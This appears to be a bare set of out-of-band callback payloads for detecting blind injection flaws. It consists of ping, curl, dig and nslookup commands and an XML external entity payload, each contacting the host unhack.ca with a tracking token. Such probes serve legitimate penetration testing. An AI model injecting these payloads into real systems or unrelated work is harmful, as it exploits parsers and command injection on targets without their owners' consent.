$ ping -c1 -p 002d3937157429961aaa4a1d804fa000 unhack.ca
 

$ curl http://unhack.ca/p/2d3937157429961aaa4a1d804fa0
 

$ dig 2d3937157429961aaa4a1d804fa0 @unhack.ca
 

$ dig 2d3937157429961aaa4a1d804fa0.ns.unhack.ca
 

C:\> nslookup 2d3937157429961aaa4a1d804fa0 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2d3937157429961aaa4a1d804fa0">]>
    <foo>&xxe;</foo>